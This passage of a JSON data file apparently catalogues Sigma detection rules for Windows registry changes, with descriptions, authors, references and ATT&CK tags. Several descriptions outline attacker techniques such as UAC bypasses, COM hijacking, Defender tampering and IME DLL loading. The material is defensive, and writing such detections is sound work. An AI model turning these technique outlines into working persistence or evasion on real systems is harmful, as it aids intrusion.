        "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3",
      "value": "Wow6432Node Classes Autorun Keys Modification"
    },
    {
      "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/18",
        "falsepositive": [
          "Legitimate admin script"
        ],
        "filename": "registry_set_hide_function_user.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6",
      "value": "Registry Hide Function from User"
    },
    {
      "description": "Detects the modification of Outlook setting \"LoadMacroProviderOnBoot\" which if enabled allows the automatic loading of any configured VBA project/module",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/04/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_office_outlook_enable_load_macro_provider_on_boot.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53",
          "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_load_macro_provider_on_boot.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.command_and_control",
          "attack.t1137",
          "attack.t1008",
          "attack.t1546"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "396ae3eb-4174-4b9b-880e-dc0364d78a19",
      "value": "Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting"
    },
    {
      "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2020/05/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_cve_2022_30190_msdt_follina.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190",
          "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1221"
        ]
      },
      "related": [
        {
          "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3",
      "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)"
    },
    {
      "description": "Detects potential COM object hijacking leveraging the COM Search Order",
      "meta": {
        "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien",
        "creation_date": "2020/04/14",
        "falsepositive": [
          "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level"
        ],
        "filename": "registry_set_persistence_search_order.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12",
      "value": "Potential Persistence Via COM Search Order Hijacking"
    },
    {
      "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_uac_bypass_winsat.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6597be7b-ac61-4ac8-bef4-d3ec88174853",
      "value": "UAC Bypass Abusing Winsat Path Parsing - Registry"
    },
    {
      "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_uac_bypass_wmp.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f9db380-ea57-4d1e-beab-8a2d33397e93",
      "value": "UAC Bypass Using Windows Media Player - Registry"
    },
    {
      "description": "Detects changes to the Internet Explorer \"DisableFirstRunCustomize\" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/16",
        "falsepositive": [
          "As this is controlled by group policy as well as user settings. Some false positives may occur."
        ],
        "filename": "registry_set_internet_explorer_disable_first_run_customize.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf",
          "https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise",
          "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_internet_explorer_disable_first_run_customize.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "ab567429-1dfb-4674-b6d2-979fd2f9d125",
      "value": "Internet Explorer DisableFirstRunCustomize Enabled"
    },
    {
      "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_policies_attachments_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465",
          "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a",
      "value": "Potential Attachment Manager Settings Attachments Tamper"
    },
    {
      "description": "Detects the Setting of Windows Defender Exclusions",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/07/06",
        "falsepositive": [
          "Administrator actions"
        ],
        "filename": "registry_set_defender_exclusions.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_nullbind/status/1204923340810543109",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529",
      "value": "Windows Defender Exclusions Added - Registry"
    },
    {
      "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to Windows event channel",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_change_winevt_channelaccess.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/",
          "https://learn.microsoft.com/en-us/windows/win32/api/winevt/",
          "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c",
      "value": "Change Winevt Event Access Permission Via Registry"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_winsock2.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565",
      "value": "WinSock2 Autorun Keys Modification"
    },
    {
      "description": "Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.",
      "meta": {
        "author": "BlackBerry Threat Research and Intelligence Team - @Joseliyo_Jstnk",
        "creation_date": "2023/06/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_comhijack_psfactorybuffer.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://strontic.github.io/xcyclopedia/library/clsid_C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6.html",
          "https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection",
          "https://blogs.blackberry.com/en/2023/06/romcom-resurfaces-targeting-ukraine",
          "https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_comhijack_psfactorybuffer.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "243380fa-11eb-4141-af92-e14925e77c1b",
      "value": "Potential PSFactoryBuffer COM Hijacking"
    },
    {
      "description": "Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "The event doesn't contain information about the type of change. False positives are expected with legitimate changes"
        ],
        "filename": "registry_set_winget_admin_settings_tampering.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_admin_settings_tampering.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence"
        ]
      },
      "uuid": "6db5eaf9-88f7-4ed9-af7d-9ef2ad12f236",
      "value": "Winget Admin Settings Modification"
    },
    {
      "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/04",
        "falsepositive": [
          "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)"
        ],
        "filename": "registry_set_disabled_microsoft_defender_eventlog.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157",
      "value": "Disabled Windows Defender Eventlog"
    },
    {
      "description": "Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "Administrators or developers might enable this for testing purposes or to install custom private packages"
        ],
        "filename": "registry_set_winget_enable_local_manifest.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_enable_local_manifest.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence"
        ]
      },
      "uuid": "fa277e82-9b78-42dd-b05c-05555c7b6015",
      "value": "Enable Local Manifest Installation With Winget"
    },
    {
      "description": "Detect set EnableFirewall to 0 to disable the Windows firewall",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_windows_firewall.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0",
      "value": "Disable Windows Firewall by Registry"
    },
    {
      "description": "Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/05/30",
        "falsepositive": [
          "Many legitimate applications can register a new custom protocol handler. Additional filters needs to applied according to your environment."
        ],
        "filename": "registry_set_persistence_custom_protocol_handler.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085",
      "value": "Potential Persistence Via Custom Protocol Handler"
    },
    {
      "description": "Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the \"HTTP\" and \"HTTPS\" protocols to point to the \"My Computer\" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Michael Haag (idea)",
        "creation_date": "2023/09/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_ie_security_zone_protocol_defaults_downgrade.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/M_haggis/status/1699056847154725107",
          "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries",
          "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content",
          "https://twitter.com/JAMESWT_MHT/status/1699042827261391247",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_security_zone_protocol_defaults_downgrade.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "3fd4c8d7-8362-4557-a8e6-83b29cc0d724",
      "value": "IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols"
    },
    {
      "description": "Attempts to detect system changes made by Blue Mockingbird",
      "meta": {
        "author": "Trent Liffick (@tliffick)",
        "creation_date": "2020/05/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_mal_blue_mockingbird.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1112",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27",
      "value": "Blue Mockingbird - Registry"
    },
    {
      "description": "Detects applications or users re-enabling old TLS versions by setting the \"Enabled\" value to \"1\" for the \"Protocols\" registry key.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/05",
        "falsepositive": [
          "Legitimate enabling of the old tls versions due to incompatibility"
        ],
        "filename": "registry_set_tls_protocol_old_version_enabled.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/tls-1-0-and-tls-1-1-soon-to-be-disabled-in-windows/ba-p/3887947",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_tls_protocol_old_version_enabled.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "439957a7-ad86-4a8f-9705-a28131c6821b",
      "value": "Old TLS1.0/TLS1.1 Protocol Version Enabled"
    },
    {
      "description": "Detect the creation of a service with a service binary located in a uncommon directory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_creation_service_uncommon_folder.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "277dc340-0540-42e7-8efb-5ff460045e07",
      "value": "Service Binary in Uncommon Folder"
    },
    {
      "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_change_rdp_port.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e",
      "value": "Changing RDP Port to Non Standard Number"
    },
    {
      "description": "Detects when attackers or tools disable Windows Defender functionalities via the Windows registry",
      "meta": {
        "author": "AlertIQ, Ján Trenčanský, frack113, Nasreddine Bencherchali, Swachchhanda Shrawan Poudel",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Administrator actions via the Windows Defender interface"
        ],
        "filename": "registry_set_windows_defender_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker",
          "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html",
          "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting",
          "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
          "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html",
          "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105",
          "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263",
      "value": "Disable Windows Defender Functionalities Via Registry Keys"
    },
    {
      "description": "Detects potential persistence activity via outlook home pages.",
      "meta": {
        "author": "Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/06/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_outlook_homepage.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us",
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_homepage.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76",
      "value": "Potential Persistence Via Outlook Home Page"
    },
    {
      "description": "Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message.\nBefore doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named \"Ime File\" with a DLL path.\nIMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.\n",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/11/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_ime_suspicious_paths.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_suspicious_paths.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d8f9bb8-01af-4e15-a3a2-349071530530",
      "value": "Suspicious Path In Keyboard Layout IME File Registry Value"
    },
    {
      "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_install_root_or_ca_certificat.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
